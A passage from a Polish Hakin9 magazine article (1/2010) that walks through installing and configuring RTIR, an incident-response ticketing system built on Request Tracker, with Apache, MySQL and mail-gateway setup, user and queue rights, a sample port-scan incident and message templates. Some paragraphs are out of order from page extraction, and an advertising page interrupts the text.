wsparcie dla szyfrowania PGP (ang. Pretty
Good Privacy). Możliwe jest wykonywanie
akcji zbiorowych (np. wysyłanie odpowiedzi
do grupy użytkowników), a nawet tworzenie
prostych skryptów, działających na
zasadzie warunek – akcja – szablon.
Dużym plusem jest też rzetelnie wykonany
interfejs WWW, użyteczny w szerokiej
gamie przeglądarek internetowych (także
tekstowych).
Nie bez znaczenia są także
wymagania RTIR. System ten być
uruchomiony tylko pod kontrolą systemów
operacyjnych rodziny UNIX (Unix, Linux,
BSD, MacOS X, Solaris). Wymagana jest
baza danych, którą może być MySQL,
PostgreSQL, Oracle lub SQLite. Oprócz
tego potrzebny jest serwer WWW. Można
tutaj użyć Apache z mod_perl lub FastCGI,
lighthttpd z FastCGI lub dowolnego innego
serwera WWW opartego o perl.
Instalacja i konfiguracja
Czas na nieco praktyki. W dalszej części
artykułu opisano proces instalacji
i konfiguracji RTIR w wersji 3.8.4 w
następującym środowisku: Linux 2.6.30
(dystrybucja Archlinux), Apache 2.2 z
mod_perl 2.0, MySQL 5.1 i Perl 5.10.
Generalnie, system RTIR składa się
z trzech elementów (przy czym ostatni
jest dla nas opcjonalny): RT, wtyczki RTIR
i wtyczki RTFM. Kody źródłowe dostępne
są do pobrania odpowiednio na stronach:
http://bestpractical.com/rt/download.html,
Rysunek 1. System RT w akcji
Rysunek 2. Strona logowania do
systemu RT
1/2010 HAKIN9
57
PRAKTYKA
http://bestpractical.com/rtir/download.html
i http://bestpractical.com/rtfm/
download.html.
RT, czyli baza
Na początek zajmiemy się instalacją
RT. Po pobraniu i rozpakowaniu kodu
źródłowego oraz zmianie katalogu
bieżącego na ten, w którym znajdują
się źródła, standardowo wykonujemy
polecenie ./configure. Jak zwykle,
przekazując mu odpowiednie parametry
możemy dostosować instalację
do naszych potrzeb. W niniejszym
opracowaniu wszystkie wartości
pozostawione zostały jako domyślne. W
takim przypadku katalogiem instalacji jest
/opt/rt3/, bazą danych MySQL, serwerem
WWW Apache z mod _ perl2, a
systemową grupą użytkowników w obrębie
jakiej działać będzie RT jest rt.
Następnym krokiem jest sprawdzenie,
czy w naszym środowisku spełnione są
wszystkie wymagane zależności. Służy to
tego polecenie: make testdeps. Fragment
przykładowego wyniku jego działania
przedstawia Listing 1.
Większość wymaganych zależności
związana jest z modułami perla. Na
szczęście, dystrybucja RT udostępnia
Listing 1. Fragment pomyślnego wyniku działania make testdeps
XML::RSS >= 1.05...found
HTML::Mason >= 1.36...found
Digest::MD5 >= 2.27...found
MYSQL dependencies:
DBD::mysql >= 2.1018...found
SMTP dependencies:
Net::SMTP...found
STANDALONE dependencies:
Net::Server::PreFork...found
Net::Server...found
HTTP::Server::Simple >= 0.34...found
HTTP::Server::Simple::Mason >= 0.09...found
All dependencies have been found.
Listing 2. Fragment pomyślnego wyniku działania make initialize-database
Type: mysql
Host: localhost
Name: rt3
User: rt_user
DBA:
rt_user
Now populating database schema.
Done.
/usr/bin/perl -Ilib -I/opt/rt3/local/lib -I/opt/rt3/lib \
/opt/rt3/sbin/rt-setup-database –action acl \
–datadir etc –dba rt_user –prompt-for-dba-password
In order to create or update your RT database,
this script needs to connect to your mysql instance
on localhost as rt_user.
Please specify that user's database password below.
If the user has no database password, just press return.
Password:
Working with:
Type: mysql
Host: localhost
Name:
rt3
User: rt_user
DBA:
rt_user
Now inserting database ACLs.
Done.
58 HAKIN9 1/2010
narzędzie, które pozwala automatycznie
doinstalować wymagane moduły.
Skorzystać z niego można wywołując
make fixdeps. Należy pamiętać, aby
polecenie to wykonać z uprawnieniami
użytkownika root. Brakujące moduły
perla można także doinstalować ręcznie,
wykorzystując powłokę perl -MCPAN -e
shell i polecenie install (np. install
Net::Server). Przed przystąpieniem do
następnego kroku, należy się ponownie
upewnić, czy wszystkie zależności
są spełnione oraz utworzyć grupę
użytkowników rt (przykładowo za pomocą:
groupadd rt).
Teraz można skopiować pliki do
/opt/rt3/ wykonując polecenie make
install. Kolejnym krokiem jest edycja
pliku konfiguracyjnego /opt/rt3/etc/RT_
SiteConfig.pm. Przed przystąpieniem do
tego, najprościej jest skopiować zawartość
/opt/rt3/etc/RT_Config.pm (stanowi ona
bardzo dobrą bazę do dalszych zmian).
Najważniejsze zmienne (które znaleźć
można w wyżej wymienionym pliku) ich
wartości i znaczenie przedstawia Tabela
1. Po zakończeniu edycji, należy utworzyć
i zainicjować bazę danych wykorzystując
polecenie make initialize-database.
Fragment przykładowego wyniku jego
działania przedstawia Listing 2. W
przypadku błędnego wykonania, bazę
danych można usunąć używając make
dropdb, a następnie powtórzyć polecenie
make initialize-database (po
dokonaniu koniecznych zmian w pliku
/opt/rt3/etc/RT_SiteConfig.pm).
Listing 3. Fragment pliku
konfiguracji serwera Apache (/etc/
httpd/conf/httpd.conf)
# Konfiguracja dla RT
# Ścieżka do plików interfejsu WWW
Alias /rt/ /opt/rt3/share/html/
<Directory /opt/rt3/share/html/>
Order allow,deny
Allow from all
</Directory>
# Zależności perla
PerlRequire /opt/rt3/bin/webmux.pl
<Location /rt/>
AddDefaultCharset UTF-8
SetHandler perl-script
PerlHandler RT::Mason
</Location>
RTIR
Dostęp przez interfejs WWW
Czas na konfigurację dostępu przez
przeglądarkę WWW. Istnieją dwie
możliwości wyboru adresu dostępowego:
subdomena (np. http://rt.ath/ ) lub
podkatalog (np. http://ath/rt/ ). W
niniejszym opracowaniu wybrano wersję
drugą. Konfiguracja odpowiedzialna za
udostępnienie interfejsu WWW znajduje
się w dwóch plikach: /opt/rt3/etc/
RT_SiteConfig.pm (plik konfiguracyjny
RT) i /etc/httpd/conf/httpd.conf (plik
konfiguracyjny serwera Apache). Adres
dostępowy określany jest na podstawie
zmiennych WebDomain i WebPath (patrz
Tabela 1) w następujący sposób: http:
//WebDomain/WebPath/. W naszym
przypadku zmienne te ustawiono
odpowiednio na ath i /rt, dzięki czemu
otrzymano adres dostępowy: http:
//ath/rt/ (przy czym ath jest w naszym
przypadku nazwą hosta lokalnego).
Kolejnym krokiem jest konfiguracja
serwera Apache. Przykładowe ustawienia
zaczerpnięte z pliku /etc/httpd/conf/
httpd.conf przedstawia Listing 3. Tworzony
przy jego pomocy alias dla katalogu z
plikami interfejsu WWW RT (/opt/rt3/share/
html/ ) oraz włączane jest użycie perla.
Jeśli nie zostało to wykonane wcześniej,
należy też włączyć wtyczkę mod_perl w
konfiguracji modułów Apache. Można to
zrobić dopisując w pliku /etc/httpd/conf/
httpd.conf linię: LoadModule perl _
module modules/mod _ perl.so.
Aby nowe ustawienia przyniosły
efekt, należy zrestartować serwer WWW:
/etc/rc.d/httpd restart . Serwer www
należy restartować także po zmianach
dokonanych w pliku /opt/rt3/etc/RT_
SiteConfig.pm.
(w naszym przypadku Postfix). Zazwyczaj,
w pliku /etc/mail/aliases dodać należy
następujące wpisy:
rt: „|/opt/rt3/bin/rt-mailgate
--queue General –action correspond
--url http://ath/rt”
rt-comment: „|/opt/rt3/bin/rt-mailgate
--queue General –action comment
--url http://ath/rt”
Należy w tym miejscu mieć świadomość,
że General jest nazwą jedynej, domyślnie
tworzonej kolejki (kolejki służą do
grupowania biletów). Podobne operacje
należy wykonać dla każdej kolejki
utworzonej później w systemie.
Tymczasem, jeśli wszystko do tej
pory zostało wykonane poprawnie, nasz
system powinien być już dostępny przez
przeglądarkę WWW pod adresem http://
ath/rt/ (Rysunek 2). Domyślny login i hasło
podczas pierwszego logowania to root
i password. W tym momencie polecam
poświęcić kilka minut na zapoznanie się z
interfejsem WWW.
Wtyczki RTIR i RTFM
Czas na to, na czym nam najbardziej
zależy, czyli wtyczkę RTIR. Dodatkowo,
zainstalujemy też wtyczkę RTFM. Po
rozpakowaniu pobranych wcześniej
archiwów z kodami źródłowymi,
zmieniamy katalog bieżący na katalog z
kodem źródłowym (kolejno RTIR i RTFM) i
wykonujemy (w każdym z nich) polecenia:
perl Makefile.PL
make install
make initdb
Rysunek 3. Zarządzanie użytkownikami
Konfiguracja interfejsu e-mail
Ostatnim elementem do skonfigurowania
jest obsługa poczty elektronicznej.
System RT może współpracować z
serwerem poczty udostępnianym na
innej, nielokalnej maszynie, jednak
w niniejszym artykule ograniczymy
się do użycia serwera lokalnego. Do
wysyłania e-maili, RT używa bramki
zaimplementowanej w perlu: /opt/rt3/rtmailgate. Dla zapewnienia poprawnego
działania systemu konieczna jest
odpowiednia konfiguracja serwera poczty
Rysunek 4. Zarządzanie kolejkami
1/2010 HAKIN9
59
PRAKTYKA
Stworzą one zestaw plików makefile,
zainstalują pliki wtyczek w katalogu
/opt/rt3/ i zaktualizują bazę danych, w
podobny sposób jak to miało miejsce
podczas instalacji systemu RT.
Następnie należy edytować plik
konfiguracyjny /opt/rt3/etc/RT_
SiteConfig.pm, dodając linię:
Wraz z wtyczką RTIR do naszego
systemu dodane zostały 4 kolejki (wcześniej
była tylko General): Blocks, Incident Reports,
Incidents oraz Investigations. Należy
zatem uaktualnić konfigurację serwera
poczty, dodając w pliku /etc/mail/aliases
następujące linie:
dla każdej z kolejek (zmieniając Blocks
kolejno na nazwę każdej z nich).
Tym razem, po zalogowaniu się,
naszym oczom powinien ukazać
się interfejs z menu po lewej stronie,
zawierającym między innymi pozycji RTIR i
RTFM (które to nie były dostępne podczas
po poprzednim logowaniu). Czytelnicy
posiadający język polski jako domyślny
w swojej przeglądarce WWW, zauważą
zapewne niekompletność tłumaczenia
interfejsu (niektóre pozycje są po polsku,
niektóre po angielsku). Z tego powodu, aby
zachować czytelność, w dalszej części
artykułu używany będzie interfejs w wersji
angielskiej.
W tej chwili nasz system nie nadaje się
jeszcze do praktycznego użycia. Konieczne
jest założenie i skonfigurowanie kont
użytkowników oraz dostosowanie go nieco
do naszych potrzeb (w tym stworzenie grup
i przyznanie im uprawnień).
rt: „|/opt/rt3/bin/rt-mailgate
Typowy przypadek użycia
Set(@Plugins, 'RT::FM', 'RT::IR');
Oczywiście, aby zmiany przyniosły efekt,
należy ponownie uruchomić serwer
WWW (Apache): /etc/rc.d/httpd
restart
--queue Blocks –action correspond
--url http://ath/rt”
rt-comment: „|/opt/rt3/bin/rt-mailgate
--queue Blocks –action comment
--url http://ath/rt”
Czas na wypróbowanie naszego nowo
zainstalowanego systemu. Pierwsze co
powinniśmy zrobić po zalogowaniu się,
to oczywiście zmiana hasła użytkownika
root. W tym celu należy wybrać Home ->
Listing 4. Przykładowy szablon automatycznej odpowiedzi
RT-Attach-Message: yes
Subject: {$Ticket->Subject}
{$Transaction->Content()}
------------------------------------------------------------------------Proszę o umieszczanie identyfikatora:
[{$rtname} #{$Ticket->id}]
w tematach przyszłych wiadomości dotyczących niniejszego
incydentu. Aby to zrobić wystarczy wysłać wiadomość jako
odpowiedź na niniejszą.
Dziękuję,
{$Ticket->QueueObj->CorrespondAddress()}
Listing 5. Szablon wiadomości o zmianie priorytetu biletu
RT-Attach-Message: yes
Subject: {$Ticket->Subject}
Priorytet Twojego biletu nr {$Ticket->id} został zmieniony.
Dziękuję,
{$Ticket->QueueObj->CorrespondAddress()}
60 HAKIN9 1/2010
Configuration -> Users -> root, wprowadzić
nowe hasło i potwierdzić zmiany. Następnie
możemy zabrać się za dostosowywanie
systemu. Bogactwo opcji jest tak ogromne,
że w niniejszej części artykułu ograniczymy
się tylko do dodania kilku użytkowników i
grup, podstawowej konfiguracji i obsługi
jednego, przykładowego zgłoszenia
wykonanego przy pomocy interfejsu WWW.
Użytkownicy i grupy
Generalnie, użytkowników podzielić można
na dwie grupy: personel (konta uprawnione)
i użytkowników zewnętrznych (konta
nieuprawnione). Po otrzymaniu nowego
zgłoszenia (biletu) od niezarejestrowanego
użytkownika (drogą poczty elektronicznej),
system automatycznie tworzy konto
nieuprzywilejowane. Konta użytkowników
mogą być też zakładane ręcznie, ale nie
mogą być usuwane (mogą być co najwyżej
wyłączane).
Na początek utworzymy kilku
użytkowników. Będą to pracownicy firmy ATH:
cezary i cyryl (z zespołu CSIRT), nikodem
i norbert (z zespołu NOT (ang. Network
Operations Team)) i zenon (z zarządu ATH).
Aby dodać użytkownika, z menu należy
wybrać Home -> Configuration -> Users ->
Create i wypełnić wszystkie potrzebne pola.
Ważne jest tutaj zaznaczenie opcji Let this
user be granted rights znajdującej się nad
polem Nowe hasło. Jeśli tego nie zrobimy,
użytkownik będzie nieaktywny i domyślnie
niewidoczny na liście użytkowników (Home ->
Configuration -> Users).
Grupa jest zbiorem użytkowników
posiadających wspólne cechy. Wyróżnia
się 5 rodzajów grup: zdefiniowane przez
użytkownika, systemowe (użytkownicy
uprawnieni i nieuprawnieni), role
(zgłaszający, właściciel itp.), grupy
personalne oraz podgrupy. Rodzaj grupy
można określić dopiero po jej utworzeniu.
W niniejszym artykule ograniczymy się
do utworzenia grup rodzaju pierwszego,
reprezentujących działy firmy. Utwórzmy
więc grupy CSIRT, NOT i Management
(wybierając z menu Home -> Configuration
-> Groups -> Create) oraz przypiszmy do
nich użytkowników utworzonych wcześniej
(wybierając z menu Home -> Configuration
-> Groups -> CSIRT -> Members, dla każdej
z utworzonych grup zmieniając CSIRT na
właściwą nazwę).
RTIR
Grupy, podobnie jak użytkownicy, nie
mogą być usuwane. Jeśli sądzimy, że jakaś
grupa jest już niepotrzebna w systemie,
możemy ją co najwyżej wyłączyć. W naszej
instalacji, oprócz nowo utworzonych
grup istnieją domyślne Duty Team, Duty
Team EDUNET i Duty Team GOVNET.
Wyłączmy je, wybierając z menu Home
-> Configuration -> Groups -> Duty Team
(oraz pozostałe grupy) i odznaczając opcję
Udostępniona. Dzięki temu, domyślnie
nie będą one wyświetlane na liście grup
Home -> Configuration -> Groups (można
to zmienić zaznaczając opcję Include
disabled groups in listing).
Utwórzmy teraz jeszcze jednego
użytkownika spoza firmy ATH (będącego
pracownikiem ATJ) o nazwie urban.
Przyda on nam się później do
zgłoszenia incydentu. Użytkownika
tego nie przypisujemy do żadnej grupy.
Spowoduje to umieszczenie go w grupach
systemowych Nieuprawnieni i Wszyscy
(ang. Unprivileged i All).
kolejce, a także na nie odpowiadać.
Możemy to zrobić wybierając z menu
Home -> Configuration -> Queues -> Blocks
-> Group rights oraz przyznając grupie
NOT następujące uprawnienia: OwnTicket,
ReplyTicket, SeeQueue, ShowTicket, i
TakeTicket (aby wybrać z listy więcej niż
jedno uprawnienie, przytrzymaj klawisz
[Control]). Ustalmy też od razu uprawnienia
dla grupy CSIRT, pozwalające co najmniej
na tworzenie biletów dla tej samej kolejki:
CreateTicket, ShowTicket. Kolejna kolejka,
dla której ustawimy uprawnienia to
Incidents. Ponieważ chcemy, aby każdy kto
posiada konto w systemie mógł zgłosić
incydent, przyznajmy następujące prawa
(wyberając z menu Home -> Configuration
-> Queues -> Incidents -> Group rights) dla
Tabela 1. Najważniejsze zmienne konfiguracyjne, ich znaczenie i użyte wartości
Zmienna
Wartość
Znaczenie
rtname
ath
nazwa domeny, w obrębie której RT ma
funkcjonować (w naszym przypadku nazwa
hosta, na którym pracujemy)
DatabaseType
mysql
typ bazy danych
DatabaseUser
rt_user
użytkownik bazy danych
DatabasePassword
******
hasło bazy danych dla systemu RT
DatabaseName
rt3
nazwa bazy danych
WebDomain
ath
domena instalacji interfejsu WWW
WebPath
/rt
ścieżka do instalacji interfejsu WWW
Kolejki i prawa dostępu
Jak już wspomniano wcześniej, kolejki służą
do grupowania biletów. W tym momencie
w naszym systemie powinno być widoczne
(Home -> Configuration -> Queues) 5
następujących kolejek: Blocks, Incident
Reports, Incidents, Investigations i General,
przeznaczonych odpowiednio dla blokad,
raportów na temat incydentów, zgłoszeń
incydentów, dochodzeń i pozostałych
zgłoszeń.
Prawa dostępu mogą być przyznawane
w odniesieniu do użytkowników, grup i
kolejek. W praktyce, przed przyznaniem
praw dostępu, musimy zadać sobie trzy
pytania. Po pierwsze, komu przyznać
prawa dostępu (użytkownikowi, grupie,
właścicielowi biletu, wszystkim)? Po drugie,
do czego przyznać prawa dostępu
(konkretnej kolejki, kilku kolejek kolejek,
globalnie)? Po trzecie, jakie prawa dostępu
przyznać (przeglądanie, edycja, tworzenie)?
Przyznajmy więc odpowiednie
uprawnienia dla użytkowników i grup,
które właśnie stworzyliśmy, zadając sobie
wspomniane 3 pytania. Na początek
przyznajmy grupie NOT prawa dotyczące
kolejki Blocks, tak aby użytkownicy byli
w stanie tworzyć, odczytywać i brać
w posiadanie bilety zgrupowane w tej
Rysunek 5. Zarządzanie uprawnieniami
1/2010 HAKIN9
61
PRAKTYKA
grupy systemowej Everyone : CreateTicket,
Modify Ticket, SeeQueue, ShowTicket.
Oprócz tego, chcemy aby członkowie
CSIRT mogli przejmować bilety oraz
na nie odpowiadać, przyznajmy zatem
tej grupie uprawnienia: OwnTicket,
ReplyToTicket, TakeTicket. Czas wreszcie
na określenie uprawnień do ostatnie (w
naszym przypadku kolejki) – Investigations.
Ponieważ w naszym systemie
dochodzenia będą tworzone przez
członków zespołu CSIRT, wybierzmy z
menu Home -> Configuration -> Queues ->
Investigations -> Group rights i przyznajmy
następujące uprawnienia grupie CSIRT:
CreateTicket, OwnTicket, ShowTicket.
Przykład obsługi zgłoszenia
Rysunek 6. Tworzenie powiadomienia o incydencie
Rysunek 7. Odpowiedź na bilet z kolejki Blocks
62 HAKIN9 1/2010
Można już powiedzieć, że nasz system ma
podstawową funkcjonalność – sprawdźmy
więc jego działanie. W tym celu stworzymy
nowe zgłoszenie używając interfejsu
WWW. Logujemy się jako użytkownik
urban i w prawym górnym rogu interfejsu
wybieramy kolejkę Incidents (która w tym
momencie powinna być jedyną dla nas
dostępną) oraz naciskamy przycisk New
ticket in. Wypełniamy pola tematu (Subject)
i wiadomości (Message) wpisując
odpowiednio np.: Skanowanie portów i
Nasi administratorzy wykryli skanowanie
portów przeprowadzone z adresu IP
192.168.0.13. Następnie tworzymy
powiadomienie o incydencie, naciskając
przycisk Create.
Po otrzymaniu komunikatu o
pomyślnym utworzeniu incydentu
możemy się jeszcze upewnić, że jest
on już widoczny na stronie głównej
(Home) w ramkach Most due unowned
incidents oraz Most due incidents.
W tym momencie rola naszego
użytkownika z firmy zewnętrznej jest
już zakończona. Zalogujmy się więc
jako jeden z członków zespołu CSIRT,
np. cezary. Widzimy na stronie głównej
nowy bilet (incydent) . Decydujemy się
na zajęcie tym zgłoszeniem (klikamy
link Take). Następnie, po zapoznaniu
się z treścią ogłoszenia i ocenie, że nie
istnieje jeszcze żadne dochodzenie
związane z podobnymi zgłoszeniami,
tworzymy nowe dochodzenie (ramka
Investigations, link Launch). Ponieważ
jednak wkrótce kończymy pracę, należy
wylogować się z systemu. Teraz możemy
zalogować się jako cyryl i zapoznać z
dochodzeniem. Jako cyryl decydujemy
się na zajęcie dochodzeniem (link Take).
Oczywiście próbujemy skontaktować się z
właścicielem nieszczęsnego nr IP, jednak
ponieważ nam się to nie udaje, tworzymy
blokadę (ramka Blocks, link New), prosząc
o zablokowanie adresu IP 192.168.013 i
należy się wylogować. Analogicznie do
Przyłącz się do naszego Klubu PRO
Jedna edycja Klubu PRO obejmuje 12 miesięcy, czyli 12 kolejnych numerów pisma. Jak wygląda
reklama?
W naszym magazynie będą pojawiały się strony z reklamami firm, które skorzystają z naszej
wyjątkowej oferty. Każda strona podzielona będzie na moduły.
Każda firma ma na wyłączność jeden moduł. Zawiera on: logo firmy, 300-400 znaków na temat
oferty firmy oraz kontakt do niej.
Magazyn Hakin9 wychodzi w nakładzie 6000 egzemplarzy – jest to więc znakomita okazja na
promocję za naprawdę niewielką cenę.
Aby poznać szczegóły naszego Klubu napisz do:
[email protected]
22 427 36 77
CCNS
Działalność firmy skoncentrowana jest wokół hasła zapewnienia pełnego bezpieczeństwa funkcjonowania Klienta w realiach
współczesnej gospodarki. Jako Expert Partner firmy WatchGuard Inc. oferujemy kompleksowe rozwiązania bezpieczeństwa sieci i systemów informatycznych obejmujące nowoczesne urządzenia typu Unified Threat Management, niezawodny serwis
i szeroki wachlarz szkoleń.
www.ccns.pl
Sokra-NET
Działa od roku 2002, specjalizuje się w szeroko pojętym bezpieczeństwie informacji. Posiada wykwalifikowany specjalnie do tych
celów zespół inżynierów którzy przy współpracy z naszymi klientami maksymalizują bezpieczeństwo danych, audytując i dobezpieczając. Wykonujemy testy penetracyjne, analizy kodów źródłowych,
testy wydajnościowe aplikacji i ich środowisk teleinformatycznych.
Wdrażamy polityki bezpieczeństwa. Wspomagamy naszych partnerów merytorycznie.
www.sokra.net
TTS Company Sp. z o.o.
Sprzedaż i dystrybucja oprogramowania komputerowego. Import
programów na zamówienie. Ponad 200 producentów w standardowej ofercie.
Chcesz kupić oprogramowanie i nie możesz znaleźć polskiego dostawcy?
Skontaktuj się z nami – sprowadzimy nawet pojedyncze licencje.
www.OprogramowanieKomputerowe.pl
Kei.pl
Kei.pl działa na rynku usług hostingowych od 2000 roku. Do naszych
zadowolonych Klientów z dumą możemy zaliczyć wiele przedsiębiorstw sektora MSP, instytucji oraz osób prywatnych. W ofercie Kei.pl
znajdują się pakiety hostingowe, a także usługi dla wymagających
Użytkowników – platformy e-Biznes oraz serwery fizyczne.
www.kei.pl
PRAKTYKA
poprzednich czynności, po zalogowaniu
się jako nikodem zajmujemy się nowym
biletem w kolejce Blocks, tworząc blokadę
w rzeczywistości (aktualizując ustawienia
firewalla) oraz odpowiadając na bilet (link
Reply) (Rysunek 7).
Następnie logujemy się ponownie
jako cezary. Otwieramy jedyny bilet
jaki posiadamy. Tym razem, widzimy
dwa kolejne bilety z nim powiązane
(w ramkach Investigations i Blocks).
Otwieramy bilet kolejki Blocks i widzimy
odpowiedź nikodema, że blokada
została wykonana. Wracamy do strony
zgłoszenia które przyjęliśmy od urbana
i odpowiadamy na nie (przycisk Reply),
że wykonana została blokada, a
dochodzenie trwa.
Tak oto przeszliśmy przez przykładowy
łańcuch reakcji na incydent (w bardzo
okrojonym wydaniu i ciągle nie
dokończony). W praktyce wymaga to
nieco więcej zachodu, jednak trudno
zaprzeczyć, że teraz bardzo dobrze
widać, iż przy odpowiedniej konfiguracji
i dużej liczbie zgłoszeń, RTIR może
znacznie usprawnić pracę. A to nie
wszystko. System udostępnia nam jeszcze
bardziej zaawansowane możliwości,
takie jak zgłoszenia z użyciem poczty
elektronicznej, priorytezowanie biletów,
szablony wiadomości, skrypty, tablice
ogłoszeń (które możemy zmieniać wg
własnych potrzeb) oraz wiele rozszerzeń i
narzędzi (np. wtyczka RTFM, niszczarka), o
których w dalszej części artykułu.
(po kolejkach) uporządkowania biletów.
Każdy bilet może mieć nadany priorytet
liczbowy od 0 do 99, przy czym wyróżnia
się dodatkowo 5 poziomów słownych:
Low, Medium, High, Critical, Fatal, z
przyporządkowanymi im zakresami
liczbowymi (odpowiednio 11-20, 21-30,
31-40, 41-50, 51-60). Przyporządkowane
określeniom słownym zakresy można
oczywiście zmieniać wg potrzeb.
Przekazywanie wiadomości
Przekazywanie wiadomości jest
bardzo użyteczną funkcjonalnością.
Pozwala ono na automatyczne
powiadomienie określonych osób o
biletach określonego typu. W praktyce
sprowadza się to do przyznania
użytkownikowi, grupie użytkowników lub
roli odpowiednich praw dla odpowiedniej
kolejki.
Rysunek 8. Dodanie nowego obserwatora kolejki
Bardziej zaawansowana
funkcjonalność
System RTIR może być w bardzo szerokim
zakresie dostosowany do specyficznych
potrzeb. Możliwe jest m.in. tworzenie
dodatkowych, własnych pól dla biletów,
kolejek, grup i użytkowników (Home ->
Configuration -> Custom Fields -> Create).
Pola takie mogą być użyte przykładowo
do dodania nowych stanów biletów
(np. oprócz domyślnych open, resolved,
abandoned można sobie zdefiniować
spam) lub nowych atrybutów użytkowników
(np. narodowości, czy stażu pracy).
Kolejną użyteczną funkcjonalnością,
o której warto wspomnieć w tym
miejscu, jest system priorytetów biletów.
Priorytety pozwalają na kolejny stopień
64 HAKIN9 1/2010
Rysunek 9. Zarządzanie globalne szablonami
RTIR
Skonfigurujmy więc nasz system tak,
aby wiadomości dotyczące dochodzeń
(ang. investigations) były przekazywane
zenonowi. Można to zrobić dodając zenona
do grupy (roli) Cc. Logujemy się jako root i
wybieramy z menu Home -> Configuration
-> Queues -> Investigations -> Watchers.
Następnie dodajemy zenona jako Cc
(np. wybierając Name i wpisując zenon).
Nie działa? Nic dziwnego, zenon nie miał
przecież przyznanych odpowiednich
praw dostępu. Zanim będzie on mógł
być dodany jako obserwator (watcher),
musimy mu przyznać prawo WatchAsCc.
Aby to zrobić wybieramy z menu Home ->
Configuration -> Queues -> Investigations ->
UserRights i przyznajemy zenonowi prawo
Watch. Ponownie próbujemy dodać ustalić
zenona jako obserwatora, wybierając
Home -> Configuration -> Queues ->
Investigations -> Watchers i dodając
go jako Cc (Rysunek 8). Od tej pory,
zenon będzie dostawał kopie wszystkich
informacji przesyłanych w kolejce
Investigations.
Szablony i skrypty
Rysunek 10. Tworzenie nowego skryptu
Szablony wiadomości (ang. templates)
mogą być tworzone globalnie (jako
przeznaczone dla wszystkich kolejek)
lub lokalnie (wewnątrz wybranej kolejki).
Umiejętne ich użycie w znaczny sposób
odciąża pracowników. Skrypty (celowo
nazywane przez autorów RTIR Scrips, nie
Scripts), podobnie jak szablony, mogą być
tworzone globalnie lub lokalnie (wewnątrz
kolejek). Zasada działania skryptów opiera
się na łańcuchu warunek – akcja – szablon.
Jako warunek może podać np. utworzenie
incydentu, otrzymanie komentarza lub
zakończenie dochodzenia. Akcją może być
np. wysłanie powiadomienia do właściciela
biletu, którego dotyczyło zdarzenie
spełniające warunek. W takim wypadku, do
wygenerowania treści wiadomości używany
jest właśnie szablon.
Spróbujmy dostosować szablony
wiadomości wysyłanych automatycznie w
przypadku tworzenia nowych dochodzeń
(Investigations). Można to zrobić wybierając
z menu Home -> Queues -> Investigations
-> Templates -> Autoreply. Przykładowy
(zmodyfikowany już) szablon Autoreply dla
kolejki Investigations przedstawia Listing
4. Widać na nim sposób odwoływania się
do właściwości biletu z użyciem znaków
$ i ->. Przykładowo wyrażenie {$Ticket>QueueObj->CorrespondAddress()}
Rysunek 11. Tworzenie nowego artykułu (wtyczka RTFM)
przy wysyłaniu wiadomości zostanie
zastąpione domyślnym adresem
korespondencyjnym dla niniejszego
1/2010 HAKIN9
65
PRAKTYKA
biletu, natomiast {$Ticket->id} będzie
zastąpione nr id biletu.
Spróbujmy jeszcze utworzyć nowy
szablon globalny, który przyda nam za
chwilę do zademonstrowania zasady
działania skryptów. Z menu wybieramy
Home -> Configuration -> Global ->
Templates -> New. Wpisujemy nazwę
ZmianaPriorytetu, opis powiadomienie
o zmianie priorytetu i zawartość, którą
przedstawiona Listing 6.
Tak utworzony szablon będzie służył
do automatycznego poinformowania
zgłaszającego o zmianie priorytetu jego
zgłoszenia. Aby to uzyskać musimy
jeszcze utworzyć skrypt. Ponieważ chcemy
aby dotyczył on wszystkich biletów,
niezależnie od kolejki, do jakiej zostają
przyporządkowane, tworzymy go także w
sekcji globalnej. Aby to zrobić wybieramy
z menu Home -> Configuration -> Global
-> Scrips -> New (Rysunek 10). Podajemy
opis (ang. description) Powiadomienie
OZmianiePriorytetu, wybieramy warunek
(condition) On Priority Change, operację
Autoreply To Requestors oraz szablon
(które przed chwilą utworzyliśmy) Globa
template: ZmianaPriorytetu. Analogicznie
można tworzyć skrypty dla szerokiej gamy
innych akcji.
Wtyczki, narzędzia i rozszerzenia
Jedną z dostępnych dla RT wtyczek
(która może być szczególnie użyteczna
w systemie RTIR) jest RTFM. Daje ona
możliwość tworzenia przez użytkowników
artykułów i może być wykorzystana np.
do popularyzowania wśród użytkowników
schematów postępowania po wykryciu
incydentu bezpieczeństwa. Spróbujmy
stworzyć prosty artykuł z wykorzystaniem
RTFM. Zalogowanie jako root, wybieramy
z menu Home -> RTFM -> Articles -> New
Article oraz pozycję in class Templates.
Następnie wypełniamy wszystkie pola wg
uznania i naciskamy Create. Szczególnie
użyteczne są tutaj pola Refers to: oraz
Referred by:, w których można zdefiniować
połączenia z innymi artykułami i – co w
naszym przypadku ważniejsze – biletami
(Rysunek 11). Artykuły mogą być też
tworzone z poziomu obsługi biletu poprzez
kliknięcie linku New w ramce Articles
(podobnie jak wcześniej było tworzone
np. dochodzenie z użyciem ramki
Investigations).
Oprócz wtyczek dostępne są także
użyteczne narzędzia, m.in. raporty (Home
-> Tools -> Reports), pozwalające na
sprawdzanie biletów rozwiązanych lub
utworzonych w określonym przedziale
czasu, kolejce i przez określonego
użytkownika.
Kolejnym narzędziem są tablice
ogłoszeń (ang. dashboards), pozwalające
na współdzielenie wybranych danych
(np. kliku naszych biletów o największych
priorytetach) z innymi użytkownikami,
zwalniając ich z konieczności wyszukiwania
takich danych na własną rękę.
Szereg narzędzi można też
doinstalować w formie rozszerzeń
(ang. extensions). Jednym z nich jest
Export search results as XLS. Pozwala
ono na tworzenie zestawień biletów/
użytkowników posiadających określone
Akronimy
•
•
•
•
•
Computer Emergency Response Team – CERT,
Computer Security Incident Response Team – CSIRT,
Request Trackter – RT,
Request Tracker FAQ Manager – RTFM,
Request Tracker for Incident Response – RTIR.
W Sieci
•
•
•
•
•
•
http://www.bestpractical.com/ – Best Practical,
http://bestpractical.com/rt/ – RT,
http://bestpractical.com/rtir/ – RTIR,
http://bestpractical.com/rtfm/ – RTFM
http://wiki.bestpractical.com/view/HomePage – RT Wiki,
http://rt.easter-eggs.org/demos/stable/ – RT Demo.
66 HAKIN9 1/2010
atrybuty w formacie Microsoft Excel.
Innym użytecznym rozszerzeniem jest
RT3StatisticsPackage, które pozwala
na generowanie raportów na temat
czasu, liczby obsłużonych zgłoszeń
itp. dla poszczególnych użytkowników.
Istnieje także możliwość kontrolowania
systemu z użyciem wiadomości e-mail,
dzięki rozszerzeniu Command by email.
Udostępnia ono polecenia m.in. polecenia
typu utwórz kolejkę czy zmień priorytet biletu
poprzez użycie odpowiednich tematów
